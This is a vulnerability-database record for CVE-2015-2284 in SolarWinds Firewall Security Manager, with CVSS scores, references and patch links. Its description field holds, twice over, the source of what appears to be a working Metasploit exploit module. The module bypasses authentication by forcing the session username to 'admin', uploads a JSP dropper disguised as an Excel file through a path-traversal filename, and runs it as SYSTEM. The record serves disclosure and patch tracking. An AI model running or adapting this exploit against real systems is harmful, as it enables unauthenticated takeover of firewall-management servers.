var-201503-0200
Vulnerability from variot
userlogin.jsp in SolarWinds Firewall Security Manager (FSM) before 6.6.5 HotFix1 allows remote attackers to gain privileges and execute arbitrary code via unspecified vectors, related to client session handling. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of client sessions. The issue lies in the ability to elevate to administrative privileges. An attacker can leverage this vulnerability to execute code under the context of SYSTEM. SolarWinds Firewall Security Manager (FSM) is a set of firewall security and change management software from SolarWinds, USA. The software provides capabilities for analyzing firewall configuration and log files, simplifying firewall troubleshooting and change management, analyzing complex firewall configuration cleanup rules, and more. There is a security vulnerability in the userlogin.jsp script of versions prior to SolarWinds FSM 6.6.5 HotFix1. The first vulnerability is an authentication bypass via the Change Advisor interface due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set the 'username' attribute before authentication. The second problem is that the settings-new.jsp file will only check the 'username' attribute before authorizing the 'uploadFile' action, which can be exploited and allows the attacker to upload a fake xls host list file to the server, and results in arbitrary code execution under the context of SYSTEM.
Depending on the installation, by default the Change Advisor web server is listening on port
48080 for an express install. Otherwise, this service may appear on port 8080.
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
download it from the module's References section.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', # Original discovery
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
'sinn3r' # Metasploit
],
'References' =>
[
['CVE', '2015-2284'],
['OSVDB', '81634'],
['ZDI', '15-107'],
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
],
'DefaultOptions' =>
{
'RPORT' => 48080 # Could be 8080 too
},
'Platform' => 'win',
'Targets' =>
[
['Solarwinds Firewall Security Manager 6.6.5', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
], self.class)
end
# Returns a checkcode that indicates whether the target is FSM or not def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
if res && res.body =~ /SolarWinds FSM Change Advisor/i
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Exploit/run command def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager') end
# Stage 1 of the attack
# 'admin' is there by default and you can't delete it
username = 'admin'
print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value(username)
print_status("Your SID is: #{sid}")
# Stage 2 of the attack
exe = generate_payload_exe(code: payload.encoded)
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
# Because when we get a shell, we will be at:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
# So we have to adjust this filename in order to delete the file
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
malicious_file = get_jsp_payload(exe, filename)
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
upload_exec(sid, filename, malicious_file)
end
private
# Returns a write-stager # I grabbed this from Juan's sonicwall_gms_uploaded.rb module def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns JSP that executes stuff # This is also from Juan's sonicwall_gms_uploaded.rb module def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n|
jspraw
end
# Returns a JSP payload def get_jsp_payload(exe, output_file) jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file) end
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue def put_session_value(value) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'), 'method' => 'GET', 'vars_get' => { 'username' => value } )
unless res
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
end
get_sid(res)
end
# Returns the session ID def get_sid(res) cookies = res.get_cookies sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' sid end
# Uploads a malicious file and then execute it def upload_exec(sid, filename, malicious_file) res = upload_file(sid, filename, malicious_file)
if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res.body.include?('java.lang.NoClassDefFoundError')
print_status('Payload being treated as XLS, indicates a successful upload.')
else
print_status('Unsure of a successful upload.')
end
print_status('Attempting to execute the payload.')
exec_file(sid, filename)
end
# Uploads a malicious file # By default, the file will be saved at the following location: # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\ def upload_file(sid, filename, malicious_file) # Put our payload in: # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\ filename = "../../jsp/#{filename}"
mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
proto = ssl ? 'https' : 'http'
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
'method' => 'POST',
'vars_get' => { 'action' => 'uploadFile' },
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'cookie' => sid,
'headers' => { 'Referer' => ref }
)
end
# Executes the malicious file and get code execution # We will be at this location: # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice def exec_file(sid, filename) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fsm', filename) ) end
# Overrides the original print_status so we make sure we print the rhost and port def print_status(msg) super("#{rhost}:#{rport} - #{msg}") end
end
Show details on source website{ "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" } }, "@id": "https://www.variotdbs.pl/vuln/VAR-201503-0200", "affected_products": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "model": "firewall security manager", "scope": "lte", "trust": 1.0, "vendor": "solarwinds", "version": "6.6.5" }, { "model": "firewall security manager", "scope": "lt", "trust": 0.8, "vendor": "solarwinds", "version": "6.6.5 hotfix1" }, { "model": "firewall security manager", "scope": null, "trust": 0.7, "vendor": "solarwinds", "version": null }, { "model": "firewall security manager", "scope": "eq", "trust": 0.6, "vendor": "solarwinds", "version": "6.6.5" } ], "sources": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "CNNVD", "id": "CNNVD-201503-342" }, { "db": "NVD", "id": "CVE-2015-2284" } ] }, "configurations": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "children": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "data": { "@container": "@list" }, "nodes": { "@container": "@list" } }, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "cpe_match": [ { "cpe22Uri": "cpe:/a:solarwinds:firewall_security_manager", "vulnerable": true } ], "operator": "OR" } ] } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2015-001926" } ] }, "credits": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Andrea Micalizzi aka rgod", "sources": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "CNNVD", "id": "CNNVD-201503-342" } ], "trust": 1.3 }, "cve": "CVE-2015-2284", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [ { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "nvd@nist.gov", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "CVE-2015-2284", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 2.5, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "VULHUB", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "VHN-80245", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 0.1, "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C", "version": "2.0" } ], "cvssV3": [], "severity": [ { "author": "nvd@nist.gov", "id": "CVE-2015-2284", "trust": 1.0, "value": "HIGH" }, { "author": "NVD", "id": "CVE-2015-2284", "trust": 0.8, "value": "High" }, { "author": "ZDI", "id": "CVE-2015-2284", "trust": 0.7, "value": "HIGH" }, { "author": "CNNVD", "id": "CNNVD-201503-342", "trust": 0.6, "value": "CRITICAL" }, { "author": "VULHUB", "id": "VHN-80245", "trust": 0.1, "value": "HIGH" } ] } ], "sources": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "VULHUB", "id": "VHN-80245" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "CNNVD", "id": "CNNVD-201503-342" }, { "db": "NVD", "id": "CVE-2015-2284" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "userlogin.jsp in SolarWinds Firewall Security Manager (FSM) before 6.6.5 HotFix1 allows remote attackers to gain privileges and execute arbitrary code via unspecified vectors, related to client session handling. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of client sessions. The issue lies in the ability to elevate to administrative privileges. An attacker can leverage this vulnerability to execute code under the context of SYSTEM. SolarWinds Firewall Security Manager (FSM) is a set of firewall security and change management software from SolarWinds, USA. The software provides capabilities for analyzing firewall configuration and log files, simplifying firewall troubleshooting and change management, analyzing complex firewall configuration cleanup rules, and more. There is a security vulnerability in the userlogin.jsp script of versions prior to SolarWinds FSM 6.6.5 HotFix1. The first vulnerability is an authentication bypass via the Change Advisor interface\n due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set\n the \u0027username\u0027 attribute before authentication. The second problem is that the settings-new.jsp\n file will only check the \u0027username\u0027 attribute before authorizing the \u0027uploadFile\u0027 action,\n which can be exploited and allows the attacker to upload a fake xls host list file to the\n server, and results in arbitrary code execution under the context of SYSTEM. \n\n Depending on the installation, by default the Change Advisor web server is listening on port\n 48080 for an express install. Otherwise, this service may appear on port 8080. \n\n Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may\n download it from the module\u0027s References section. \n },\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027Author\u0027 =\u003e\n [\n \u0027rgod\u0027, # Original discovery\n \u0027mr_me \u003csteventhomasseeley[at]gmail.com\u003e\u0027, # https://twitter.com/ae0n_\n \u0027sinn3r\u0027 # Metasploit\n ],\n \u0027References\u0027 =\u003e\n [\n [\u0027CVE\u0027, \u00272015-2284\u0027],\n [\u0027OSVDB\u0027, \u002781634\u0027],\n [\u0027ZDI\u0027, \u002715-107\u0027],\n [\u0027URL\u0027, \u0027http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip\u0027]\n ],\n \u0027DefaultOptions\u0027 =\u003e\n {\n \u0027RPORT\u0027 =\u003e 48080 # Could be 8080 too\n },\n \u0027Platform\u0027 =\u003e \u0027win\u0027,\n \u0027Targets\u0027 =\u003e\n [\n [\u0027Solarwinds Firewall Security Manager 6.6.5\u0027, {}]\n ],\n \u0027Privileged\u0027 =\u003e false,\n \u0027DisclosureDate\u0027 =\u003e \u0027Mar 13 2015\u0027,\n \u0027DefaultTarget\u0027 =\u003e 0))\n\n register_options(\n [\n OptString.new(\u0027TARGETURI\u0027, [ true, \u0027Base FMS directory path\u0027, \u0027/\u0027])\n ], self.class)\n end\n\n\n # Returns a checkcode that indicates whether the target is FSM or not\n def check\n res = send_request_cgi(\u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fsm\u0027, \u0027login.jsp\u0027))\n\n if res \u0026\u0026 res.body =~ /SolarWinds FSM Change Advisor/i\n return Exploit::CheckCode::Detected\n end\n\n Exploit::CheckCode::Safe\n end\n\n\n # Exploit/run command\n def exploit\n unless check == Exploit::CheckCode::Detected\n fail_with(Failure::NotVulnerable, \u0027Target does not appear to be a Solarwinds Firewall Security Manager\u0027)\n end\n\n # Stage 1 of the attack\n # \u0027admin\u0027 is there by default and you can\u0027t delete it\n username = \u0027admin\u0027\n print_status(\"Auth bypass: Putting session value: username=#{username}\")\n sid = put_session_value(username)\n print_status(\"Your SID is: #{sid}\")\n\n # Stage 2 of the attack\n exe = generate_payload_exe(code: payload.encoded)\n filename = \"#{Rex::Text.rand_text_alpha(5)}.jsp\"\n # Because when we get a shell, we will be at:\n # C:\\Program Files\\SolarWinds\\SolarWinds FSMServer\\webservice\n # So we have to adjust this filename in order to delete the file\n register_files_for_cleanup(\"../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}\")\n malicious_file = get_jsp_payload(exe, filename)\n print_status(\"Uploading file: #{filename} (#{exe.length} bytes)\")\n upload_exec(sid, filename, malicious_file)\n end\n\n\n private\n\n\n # Returns a write-stager\n # I grabbed this from Juan\u0027s sonicwall_gms_uploaded.rb module\n def jsp_drop_bin(bin_data, output_file)\n jspraw = %Q|\u003c%@ page import=\"java.io.*\" %\u003e\\n|\n jspraw \u003c\u003c %Q|\u003c%\\n|\n jspraw \u003c\u003c %Q|String data = \"#{Rex::Text.to_hex(bin_data, \"\")}\";\\n|\n\n jspraw \u003c\u003c %Q|FileOutputStream outputstream = new FileOutputStream(\"#{output_file}\");\\n|\n\n jspraw \u003c\u003c %Q|int numbytes = data.length();\\n|\n\n jspraw \u003c\u003c %Q|byte[] bytes = new byte[numbytes/2];\\n|\n jspraw \u003c\u003c %Q|for (int counter = 0; counter \u003c numbytes; counter += 2)\\n|\n jspraw \u003c\u003c %Q|{\\n|\n jspraw \u003c\u003c %Q| char char1 = (char) data.charAt(counter);\\n|\n jspraw \u003c\u003c %Q| char char2 = (char) data.charAt(counter + 1);\\n|\n jspraw \u003c\u003c %Q| int comb = Character.digit(char1, 16) \u0026 0xff;\\n|\n jspraw \u003c\u003c %Q| comb \u003c\u003c= 4;\\n|\n jspraw \u003c\u003c %Q| comb += Character.digit(char2, 16) \u0026 0xff;\\n|\n jspraw \u003c\u003c %Q| bytes[counter/2] = (byte)comb;\\n|\n jspraw \u003c\u003c %Q|}\\n|\n\n jspraw \u003c\u003c %Q|outputstream.write(bytes);\\n|\n jspraw \u003c\u003c %Q|outputstream.close();\\n|\n jspraw \u003c\u003c %Q|%\u003e\\n|\n\n jspraw\n end\n\n # Returns JSP that executes stuff\n # This is also from Juan\u0027s sonicwall_gms_uploaded.rb module\n def jsp_execute_command(command)\n jspraw = %Q|\u003c%@ page import=\"java.io.*\" %\u003e\\n|\n jspraw \u003c\u003c %Q|\u003c%\\n|\n jspraw \u003c\u003c %Q|try {\\n|\n jspraw \u003c\u003c %Q| Runtime.getRuntime().exec(\"chmod +x #{command}\");\\n|\n jspraw \u003c\u003c %Q|} catch (IOException ioe) { }\\n|\n jspraw \u003c\u003c %Q|Runtime.getRuntime().exec(\"#{command}\");\\n|\n jspraw \u003c\u003c %Q|%\u003e\\n|\n\n jspraw\n end\n\n\n # Returns a JSP payload\n def get_jsp_payload(exe, output_file)\n jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)\n end\n\n\n # Creates an arbitrary username by abusing the server\u0027s unsafe use of session.putValue\n def put_session_value(value)\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fsm\u0027, \u0027userlogin.jsp\u0027),\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027vars_get\u0027 =\u003e { \u0027username\u0027 =\u003e value }\n )\n\n unless res\n fail_with(Failure::Unknown, \u0027The connection timed out while setting the session value.\u0027)\n end\n\n get_sid(res)\n end\n\n\n # Returns the session ID\n def get_sid(res)\n cookies = res.get_cookies\n sid = cookies.scan(/(JSESSIONID=\\w+);*/).flatten[0] || \u0027\u0027\n sid\n end\n\n\n # Uploads a malicious file and then execute it\n def upload_exec(sid, filename, malicious_file)\n res = upload_file(sid, filename, malicious_file)\n\n if !res\n fail_with(Failure::Unknown, \u0027The connection timed out while uploading the malicious file.\u0027)\n elsif res.body.include?(\u0027java.lang.NoClassDefFoundError\u0027)\n print_status(\u0027Payload being treated as XLS, indicates a successful upload.\u0027)\n else\n print_status(\u0027Unsure of a successful upload.\u0027)\n end\n\n print_status(\u0027Attempting to execute the payload.\u0027)\n exec_file(sid, filename)\n end\n\n\n # Uploads a malicious file\n # By default, the file will be saved at the following location:\n # C:\\Program Files\\SolarWinds\\SolarWinds FSMServer\\plugins\\com.lisletech.athena.http.servlets_1.2\\reports\\tickets\\\n def upload_file(sid, filename, malicious_file)\n # Put our payload in:\n # C:\\Program Files\\SolarWinds\\SolarWinds FSMServer\\plugins\\com.lisletech.athena.http.servlets_1.2\\jsp\\\n filename = \"../../jsp/#{filename}\"\n\n mime_data = Rex::MIME::Message.new\n mime_data.add_part(malicious_file, \u0027application/vnd.ms-excel\u0027, nil, \"name=\\\"file\\\"; filename=\\\"#{filename}\\\"\")\n mime_data.add_part(\u0027uploadFile\u0027, nil, nil, \u0027name=\"action\"\u0027)\n\n proto = ssl ? \u0027https\u0027 : \u0027http\u0027\n ref = \"#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, \u0027fsm\u0027, \u0027settings-new.jsp\u0027)}\"\n\n send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fsm\u0027, \u0027settings-new.jsp\u0027),\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027vars_get\u0027 =\u003e { \u0027action\u0027 =\u003e \u0027uploadFile\u0027 },\n \u0027ctype\u0027 =\u003e \"multipart/form-data; boundary=#{mime_data.bound}\",\n \u0027data\u0027 =\u003e mime_data.to_s,\n \u0027cookie\u0027 =\u003e sid,\n \u0027headers\u0027 =\u003e { \u0027Referer\u0027 =\u003e ref }\n )\n end\n\n\n # Executes the malicious file and get code execution\n # We will be at this location:\n # C:\\Program Files\\SolarWinds\\SolarWinds FSMServer\\webservice\n def exec_file(sid, filename)\n send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fsm\u0027, filename)\n )\n end\n\n\n # Overrides the original print_status so we make sure we print the rhost and port\n def print_status(msg)\n super(\"#{rhost}:#{rport} - #{msg}\")\n end\n\nend\n\n", "sources": [ { "db": "NVD", "id": "CVE-2015-2284" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "VULHUB", "id": "VHN-80245" }, { "db": "PACKETSTORM", "id": "131301" } ], "trust": 2.43 }, "exploit_availability": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "reference": "https://www.scap.org.cn/vuln/vhn-80245", "trust": 0.1, "type": "unknown" } ], "sources": [ { "db": "VULHUB", "id": "VHN-80245" } ] }, "external_ids": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "db": "NVD", "id": "CVE-2015-2284", "trust": 3.3 }, { "db": "ZDI", "id": "ZDI-15-107", "trust": 3.2 }, { "db": "JVNDB", "id": "JVNDB-2015-001926", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-1999", "trust": 0.7 }, { "db": "CNNVD", "id": "CNNVD-201503-342", "trust": 0.7 }, { "db": "PACKETSTORM", "id": "131301", "trust": 0.2 }, { "db": "EXPLOIT-DB", "id": "36679", "trust": 0.1 }, { "db": "VULHUB", "id": "VHN-80245", "trust": 0.1 } ], "sources": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "VULHUB", "id": "VHN-80245" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "PACKETSTORM", "id": "131301" }, { "db": "CNNVD", "id": "CNNVD-201503-342" }, { "db": "NVD", "id": "CVE-2015-2284" } ] }, "id": "VAR-201503-0200", "iot": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": true, "sources": [ { "db": "VULHUB", "id": "VHN-80245" } ], "trust": 0.01 }, "last_update_date": "2024-11-23T22:59:36.880000Z", "patch": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "title": "FSM-v6.6.5-HotFix1.zip", "trust": 1.5, "url": "http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip" }, { "title": "Firewall Security Manager", "trust": 0.8, "url": "http://www.solarwinds.com/de/firewall-security-manager.aspx" }, { "title": "FSM-v6.6.5-HotFix1", "trust": 0.6, "url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=54548" } ], "sources": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "CNNVD", "id": "CNNVD-201503-342" } ] }, "problemtype_data": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "problemtype": "CWE-264", "trust": 1.9 } ], "sources": [ { "db": "VULHUB", "id": "VHN-80245" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "NVD", "id": "CVE-2015-2284" } ] }, "references": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "trust": 2.5, "url": "http://www.zerodayinitiative.com/advisories/zdi-15-107/" }, { "trust": 0.8, "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-2284" }, { "trust": 0.8, "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2015-2284" }, { "trust": 0.7, "url": "http://downloads.solarwinds.com/solarwinds/release/hotfix/fsm-v6.6.5-hotfix1.zip" }, { "trust": 0.1, "url": "https://twitter.com/ae0n_" }, { "trust": 0.1, "url": "https://github.com/rapid7/metasploit-framework" }, { "trust": 0.1, "url": "http://downloads.solarwinds.com/solarwinds/release/hotfix/fsm-v6.6.5-hotfix1.zip\u0027]" }, { "trust": 0.1, "url": "http://metasploit.com/download" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2015-2284" } ], "sources": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "VULHUB", "id": "VHN-80245" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "PACKETSTORM", "id": "131301" }, { "db": "CNNVD", "id": "CNNVD-201503-342" }, { "db": "NVD", "id": "CVE-2015-2284" } ] }, "sources": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } }, "data": [ { "db": "ZDI", "id": "ZDI-15-107" }, { "db": "VULHUB", "id": "VHN-80245" }, { "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "db": "PACKETSTORM", "id": "131301" }, { "db": "CNNVD", "id": "CNNVD-201503-342" }, { "db": "NVD", "id": "CVE-2015-2284" } ] }, "sources_release_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2015-03-13T00:00:00", "db": "ZDI", "id": "ZDI-15-107" }, { "date": "2015-03-24T00:00:00", "db": "VULHUB", "id": "VHN-80245" }, { "date": "2015-03-26T00:00:00", "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "date": "2015-04-06T17:10:00", "db": "PACKETSTORM", "id": "131301" }, { "date": "2015-03-17T00:00:00", "db": "CNNVD", "id": "CNNVD-201503-342" }, { "date": "2015-03-24T17:59:11.070000", "db": "NVD", "id": "CVE-2015-2284" } ] }, "sources_update_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2015-03-13T00:00:00", "db": "ZDI", "id": "ZDI-15-107" }, { "date": "2015-03-25T00:00:00", "db": "VULHUB", "id": "VHN-80245" }, { "date": "2015-03-26T00:00:00", "db": "JVNDB", "id": "JVNDB-2015-001926" }, { "date": "2015-04-01T00:00:00", "db": "CNNVD", "id": "CNNVD-201503-342" }, { "date": "2024-11-21T02:27:08.863000", "db": "NVD", "id": "CVE-2015-2284" } ] }, "threat_type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "remote", "sources": [ { "db": "CNNVD", "id": "CNNVD-201503-342" } ], "trust": 0.6 }, "title": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "SolarWinds Firewall Security Manager of userlogin.jsp Vulnerability gained in", "sources": [ { "db": "JVNDB", "id": "JVNDB-2015-001926" } ], "trust": 0.8 }, "type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "permissions and access control", "sources": [ { "db": "CNNVD", "id": "CNNVD-201503-342" } ], "trust": 0.6 } }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.